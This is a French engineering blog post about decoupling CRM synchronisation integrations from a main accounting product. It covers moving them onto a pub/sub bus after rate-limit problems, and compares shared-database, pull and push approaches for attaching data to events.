    Certaines API de nos CRM nous imposent un rate limit, ce qui n’est pas problématique au début mais avec la croissance de la boite on vient toucher ce rate limit inévitablement et une fois atteint, la plupart de nos requêtes échouent et notre synchronisation est perdue. C’est arrivé et le début du débug fut long et fastidieux car nous avions plein d’intégrations avec ce CRM, chacune plus ou moins bien monitorée. Il était alors difficile de trouver l’intégration qui posait problème et qui explosait le rate limit :

    • Était-ce notre application principale ?
    • Était-ce les ZAP (de Zapier) mis en place ?
    • Était-ce son intégration avec un autre CRM ?
    • Était-ce les jobs journaliers ? etc…

    Une fois trouvé, comment respecter ce rate limit ? Comment le répartir sur les différentes intégrations ? Alors qu’elles n’ont pas la même criticité, qu’elles ne sont pas actives au même moment dans la journée, est-ce qu’il faut mettre en place une pile etc…

    Nous avons perdu quelques semaines à résoudre ce point-là.

    Volonté de changer

    Ces problématiques sont assez classiques dans l’industrie et il existe beaucoup de littérature sur le sujet. Après nous être renseigné, nous avons décidé d’agir et de nous aligner sur ce qui se fait de manière générale sans chercher à être trop original.

    Avec la croissance de la base de code et de l’équipe, nos drivers architecturaux (et humains) sont dorénavant :

    • Découplage et autonomie des squads
    • Pas d’erreur sur le produit principal
    • Garder la volonté d’extension rapide de notre produit et SI

    => Il faut découpler ce qui peut l’être quitte à échanger un peu de complexité et introduire de nouvelles technologies. Les synchros propres à une squad et qui ne font pas partie du produit comptable sont des bons candidats.

    Alléger notre codebase principale

    Pourquoi sortir du code ? Retirer du code sans impacter nos fonctionnalités a toujours l’avantage de le rendre plus simple avec une interface exposée aux bugs plus faible. Il en va de même pour les dépendances, car la plupart des synchros viennent avec leur SDK et dépendances. L’envie de sortir le code de ces synchros, qui pèse dans la codebase du produit principal, s’est fait ressentir suite à des expériences parfois douloureuses sur les problématiques citées plus haut. Pour alléger le code du dépôt principal et du monolithe, ainsi qu’alléger ses dépendances, nous avons décidé de sortir le code qui n’était pas vital à notre métier : la compta.

    Ceci permet d’avoir des équipes qui travaillent sur des dépôts différents pour du code qui a un but et une criticité complètement différentes, les laissant faire leur choix d’architecture, de CI et de process.

    Je voulais aussi un découplage maximal, c’est pourquoi la solution d’appeler des services directement en HTTP ne me plaisait pas. Le pattern pub/sub est tout indiqué ici et est largement discuté dans la littérature, ce qui nous a amené assez rapidement sur cette proposition :

    Tous les services ne sont pas représentés…

    Le BUS fait office de SPOF (single point of failure), mais si le BUS tombe il n’y a pas d’impact sur le service pour les clients finaux.

    Impacts sur le respect de SOLID

    Le principe SRP (Single Responsibility Principle) est mieux respecté, il est plus facile de faire évoluer chaque petit module. Si l’API d’intercom change, on change le service en question et pas l’application de comptabilité, de même pour les autres services cloud.

    Le principe OCP (Open/Closed Principle) est mieux respecté aussi. Si demain on veut ajouter un service, on peut le rajouter comme consumer du BUS sans toucher au reste du SI.

    Gestion de la donnée nécessaire aux services externes

    Une question se pose alors : comment envoyer sur le bus la donnée métier nécessaire aux applications de synchronisation de nos CRM ? Typiquement, lors d’un event user/subscribe par exemple, le nom de l’event et l’ID de l’utilisateur en soit ne suffisent pas. Le service pipedrive ou Intercom qui écoute sur le bus va vouloir que de la donnée soit attachée à l’évènement. Il existe alors trois solutions :

    • Base de données partagée
    • en PULL : les services appellent le produit principal à travers le réseaux
    • en PUSH : le produit envoie la donnée sur le bus

    1. Shared database :

    Très rapidement écarté car cela ne sert à rien de découpler le code s’il reste couplé par le schéma de base de données. Ce modèle est trop fragile et bug-prone.

    2. PULL Le service va chercher l’information par API :

    Dans ce modèle, on essaye de garder le produit principal le plus simple possible en envoyant un évènement technique sans données métiers (uniquement des IDs). C’est au CRM en question de savoir quelles données il désire et d’aller les récupérer en interrogeant, par exemple, une simple API CRUD qui expose lesdites données.

    Avantages :

    Le code de l’émetteur de l’event reste simple. On ne fait pas apparaître une fonction buildEvent qui va aggréger des données qui, de première abord, n’ont rien à voir avec le cas d’utilisation car c’est une spécifité de l’app de sync d’un CRM.

    Désavantages :

    Nous avons des routes qui sont potentiellement utilisées par des clients (l’interface) ou des apps internes. Il faut pouvoir les monitorer pour savoir si elles sont toujours utilisées ou non. Beaucoup de données transitent par le réseau donc il y a plus de risques d’erreur.

    3. PUSH La data est formatté par Georges puis accroché à l’évènement

    Ici la donnée est formattée dans l’émetteur directement puis attachée à l’event pour être envoyée sur le bus. Les modules n’ont pas à aller interroger l’émetteur pour récupérer des données supplémentaires.

    L’enjeu ici est de ne pas polluer le cas d’utilisation d’une route métier avec l’agrégation de donnée qui serait un enjeu non fonctionnel, juste une spécificité de nos outils de sync.

    Avantages :

    Possible de retrouver un cas d’utilisation simple débarassé des fonctions buildEvent (qui ne seront pas dans le même fichier).

    On évite les appels de nos app vers Georges et les appels API qui partent dans tous les sens et qui sont dur à monitorer.

    Désavantages :

    Un peu plus de discipline dans le code de l’émetteur . On veut éviter que la fonction de buildEvent, celle qui va aggréger des données métiers nécessaires à nos outils mais non nécessaires au cas d’utilisation soit dans la route de ce dernier. Ceci peut être accompli avec des évènements internes et un pattern Observer (voir futur billet de blog).

    Conclusion

    Je peux avoir des squads spécialisées sur le produit comptable qui n’ont pas connaissance des outils internes de la boîte !

    Je peux avoir des squads spécialisées sur la maintenance de nos outils internes sans connaissance sur le produit comptable au-delà des données qui les intéressent (celle qui transitent sur le BUS).

    L’enjeu, ici, est désormais de définir et respecter un contrat de données qui va passer sur le BUS. Cela peut être le rôle du CTO (qui est inter-squads), d’une personne de l’équipe data, d’un OPS. Le rôle étant de faire respecter ce contrat et vérifier la cohérence des données qui passent sur le BUS, (c’est-à-dire donner la spécification des buildEvents).